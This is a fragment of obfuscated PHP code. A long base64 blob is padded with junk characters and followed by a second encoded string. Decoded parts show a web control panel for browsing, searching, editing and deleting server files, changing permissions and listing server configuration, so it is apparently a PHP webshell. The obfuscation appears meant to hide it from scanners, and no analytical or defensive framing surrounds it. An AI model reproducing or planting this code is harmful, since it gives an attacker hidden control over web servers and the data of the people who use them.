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";
$rn="feODIyMTE3vfeQTZERjA3QTFBNTgxRTlDREYzRUY5RvfekUwRkvfeMvfeyRjvfeQwN0U4MEZDQThDMUEzREFBMzRGMEQ3MvfekYvfe2MDg4MUZFMDcvfe0MEI1Nzc4MzBDvfeODEyRjQvfexQjY1RkNGQTJFNDNFNUYyMUZGQTIxQTAwvfeRvfeTVBMkU4QTI1QjdFvfeQTFGvfeRTUxvfeMDVCRjkyREvfeZFRTAzREE1RURBNUY1RkRBNkvfeFEQTMyRDNEOERFRTBCMjY2MjdCN0Y5MzkvfezMTdFNvfeDMwMzAzODYwMDvfeY0QUE0MzJFRTk5RTlDODQ1MzhCOvfeTg3Njg0MDM4MEE2Njk5QUE2vfeN0M3ODc0NzA2QzlvfeBQTY2OTlBvfeNjQ1QzU0NDgzQzM0vfeNjk5QUvfeE2NjkyODI0MjAvfexQzE4QTY2OTlBQTYxNDEwMvfeEMwOvfeDA0NEREMzM0OTcwMDc1vfeRkNGOEYwRTREQ0E2RTvfek5RTvfeM1RDQyRjc1Qvfe0MwM0M0QvfekvfeMvfe5QUE2Njk5QUIwQTg5QzkwOEM4OvfeDQ5QkVBNjYvfe5ODA2QzY0Q0QyRTgyMUQvfe2vfeNUJvfeCOEM4RjkwNUMwMzdGMDA5vfeRUYwNDBFODJGNTAwQjgwNvfezAwN0YwRjExMzI1RENBMEQxNTM1NDk5NTAvfe4vfeQkvfeRENTBDOTQ0NTQ4Q0YzOENEQzk3vfeQvfejA1ODvfeU5MkNBN0JGMDY2OTlBMEUxRUVGM0I1QvfeTvfek3NvfezVBNzvfeY5QkFBN0I1RDRGM0UwMzAxQUI4NkvfeNEMzAzvfeNvfeEU2RDAxMzMzQUI3NTk2vfeOTlvfeBQTY2OvfeTc3vfeOTZCNEQzvfeRjIwQ0RBNzRvfeERDI3MkYwMvfezRENvfekMwMUYxvfeMDhBNDgwMDgzvfeNjgwMjQ0vfeNDQvfexNDQyMTA5ODBEMTAvfe5NjAwMDY0QzE1QjAvfe1NvfeEvfeQ3MzQzMvfejU3NDY1NTRCNkNCQjc1NzJDMEQ0NDY1vfeNkM2NTQ2NjkwNTQxMvfeEExMDVGRvfeEIwQzQ3MvfeEEwvfeOTUzQzVvfeEODczOTNDvfeRDI3MTkvfe1MjJDMEvfeEyM0vfeVDNEY1NkMxvfeNDUxODU2NjE3MjY5NjE2MvfejIyMTJDMEVDvfeNvfe0vfeY0MzZDNvfekYvfe3vfeMzY1NDg2MTZFNjQyNUYvfe2vfeMkFEOvfeDBFNEI0QTUwMEI2vfeMzQxN0I3QjvfeU2Njg2NzUzNzkxRDvfeY1NkQ0NDQ3QjdDvfeMvfeUI2NTvfeZGNTIyNzkxvfeNDc0NEU3vfeNvfeDc1MvfeTvfeVCODkzRkQ3MvfeDQ5NkU2NjZGNDEzNTY5NzA0RkIxREJENjJFQTg0vfeNTc4MkEwODUzNUQ2NTcwMkNGQjM2Q0NGRDU2NjU3MjczNjvfek2RjE2M0I4OvfeTZFNjc1NvfeDc5vfeMkQ2N0RGODU2QzU3MEYxRjRDNDM0RDYxNzAxMTvfeU3MDY4ODJFNjEwRDFCNEQ3MDczvfeRUQ1QkMzNDI3OTEyNvfekYvfe2NTvfeY0NjU0MzY4OvfeDM2NkU1QUJBMDNERkI2NDRGNjZGMzRDNkZGRDhFNkI2OEZGMvfezAwQjvfec0NkM1NTZFNzczQzNENDhENvfezY3vfeRvfeUvfeRBQzdDNzAvfe0MTZDNkMwQTQ2QjFGQjvfeQzMkQ3QjlCRTEvfe2RjZENkQwOvfeTMzNkU3RvfeEFDQvfejM4NTU2OTgyNjczRvfekIwQjc5vfeMENDNTgwRDg2NkU1MEI1NkvfeFEQjvfeUyMTQxOUvfeM0MjQ5NEQxRTI2M0NDvfeM0Q2MDk2MzBBNTvfeMyNzQvfewQjAyOURCRvfeEFDQTE2QUQvfexNDcyMTU0MjFCQzBCNjRvfeDvfeNvfeUI3vfeNjJCNvfezvfegxMvfeDhDODvfeU4MDI1MEI3vfeNvfe0M1vfeRvfeUI4NDA3QzQ2MDvfeBDNTQyvfeRkIvfe5OThBMTcwQjZEQTc1RDNGODEyRvfeENERDMvfezMDI1MjQ5NjQzOvfeDZDNzM1M0YzQjMzNzhCREQ1NTc1NjUwvfeQzRGMDlERTRCRDIyNThDNTMxRDvfeJENDvfecxQTA4vfeNkvfeQ2MvfeTg2vfeNDM0Mjc1vfeNTJDOTNCvfeMjQ2MzM2NjQxMkvfeEwRDUvfewQvfe0MzNjvfeMxNvfeDFFNEvfeQ2RjY0vfeQkRvfeBMzvfeRFNjE2RDZBM0IyMTYwQkvfeMvfe1vfeRjlFRTQ3MzE4MzAvfewNvfeDQ3MEEwvfeQ0vfeYzQ0vfeE2NjI0QTNGRDvfeA4RTQyQ0NGRjAvfe0MjU4MTY0MzYxODUvfezQjFDRvfekU2NkJGMDg1MDZGNjk5MEM5MDZDMjVFRjk5RvfeEZENkI2NTY0NDQ2NvfeTYzMzgxNUMyODQ0RDcyNDk2RTUzvfeRUI0NjBGM0FDMUYxRvfeUY3MzvfeY4NEI0Mjc1NjY2NjNFNkE1MEVDQjEzNvfejcvfe2MUMwQTQxMEIwNzRGNDU0vfeRDA5MkvfeMxOUZvfeFMTA5MzQxvfeNjQ2NDvfecyOTdFRjdEMjg0MvfeUJDRDkzQzcxNvfeTU1MjRDNDQvfewQTVCQTQ2NjgyvfeNvfezdFvfeM0NFMUM4OEY2RjZGRTM0MvfeDQ1NzUzNDE1Mzgvfe2NEQwMEZGMDQwMkNCQjIyQ0NCMTczOTAzMzQwOTBDOEQzMkI2vfeMvfekMwQjAyMjY0OvfeUY3RkY3RkFFNkQwQvfezEwMDI1QvfezAwMEEwNTvfeJGMEE1MjA1NTQ2NvfeDE3vfeMzUwQkvfeRGvfeRkVvfeGRkZGODExOTvfeEyvfeMTkvfeyQTA2vfeMEIyQTM4vfeNTvfeMvfexOTMxMEIzMvfejBEMUvfeIvfe4MDY1MTJFRDvfeI0MDU2NzBCMzAxMDBvfeGMUNGRkZGRkZGRjFCMUI5NjEzMvfeEIvfe1MzBCMUvfeM0NTU0MDU0MDA2vfeNDUxNzExMDYxODBBMTE4MTQ1MTEwQjRvfeDMzEwNTI2NTvfeMwRjvfedEMUNvfeGQkE1RkZGRjAvfe3OEIxMjE0MDUwQjEyMUIyNzvfeFBMTvfeIvfe0MTY5MUEwOvfeUYwNEJGODNBMDvfeZGMDUyMDvfeEwM0JvfeGRkRGRjdGMDgwvfeMjA3MEYvfewODBCMDYvfewNjvfeBBMvfeTgwvfeNTBBMUEwvfeRTA4MDY0MzEyNUMxvfeQvfejRGNTkwvfeODVvfeBMERBMzdvfeERjY2RkZvfeGMEvfeYxNkYwMvfezAwMUJBRjAwQvfeUY2MjExNzc1RjBDODAyMDQwMENvfeFMkQwN0vfeU2vfeRURFREJGvfeNUYxMDA3MDcwODI3MEMwQTA4MzAwQTAvfe2MvfeDgwNTBvfeDMvfeDUvfewQ0JGQjVGRvfekJCMTYwMzAvfe4MTMwODJEMUIxMDA2MEYwNjA3MDkyMUFFMDvfehGMDvfeRvfeGMDIwRTZCvfeQkZCNUVEMDYxQTA1MEYxMDdFQTIwNjA1MDYwRDFEMTUzNDlCRkJGNjlCvfeMjI0NEE2vfeRjBFvfeRDAxMjAxMzA2MTYwNzBGMTgvfexMEZCRkZEQkRCMDkxQTvfeU3MTM2MkE5vfeODUwRTBCMTQwNjBFMDkxMTFDMEYxMjA5MUMvfeyMzBBMDNGRkZGvfeRkZCvfeRjBDMTvfeM3RjBBMUNGMEYyMDAwNzE5NDIxMjMxMEMwQjBGMEFGMvfeDAzMDJGMDREMDEyQzBDMUMxOTFvfeBMDgxMUY2RUQvfe1QkZvfeCMDUwRvfeDA1RvfejvfeAwNTQ5QkYwNTM4MEMwNvfezU3MDcwQTvfeE5MDg4RvfeURCQURGRvfeERCMvfeDU2NjNBMDgxQTA2MTExvfeOTBDNzExvfeMzA4MUvfeUwOTE3RjZGvfeRjBCNkYvfexNzYyMTgvfewNjQyMjIxvfeNDMyMDcxNTMyvfeMEEyMTE1MjQyQTvfeBFMzExQ0Y2REY2RUvfeZGMjEyNTBGMvfeEYzMjEwNDNDQjvfeE0MEU0NzA2NUIwNzQvfe4NDVFMzE5vfeMzUzOvfeURCREY2RUZGMEvfeMxMDNGNTAxMzNFMTI4MjI2MEQ4RTEzMvfejcwRjQyMTQxRTZEMTU3Q0ZCvfeRkY2vfeRkFBMEUxvfeMzc3MEQvfeyNTFDMvfeTM3NEEvfewNEQxODE1NEE0ODE3MTJFMzA4NEIyNTEyODQyRjZDMkY0NzU1MDEvfexOEVGvfeMDUxRDI5MjvfeYxQvfeTA3Mjg0MkvfeVFREUxvfeRDvfeRBMDvfeYwNDY2MEIxQvfejA3MTYxRDvfeJBMzJGRkI3Qvfejc3RjcyMjgwvfeNjBDvfeM0IwODI5NzEwRDvfeBDMjM0RjYwMzvfekxNTBEM0QyMjA4NvfeEMwRjE5NjE1QkZCRvfekYvfeyNjJFvfeMEYyMDIyMkQxNDNBMvfeDcvfeyNjE4vfeMUEwQjgzQTvfeY3QzU2REJGRkZGMTM4QUYwRkIwMDc5MEMxNTBCMkV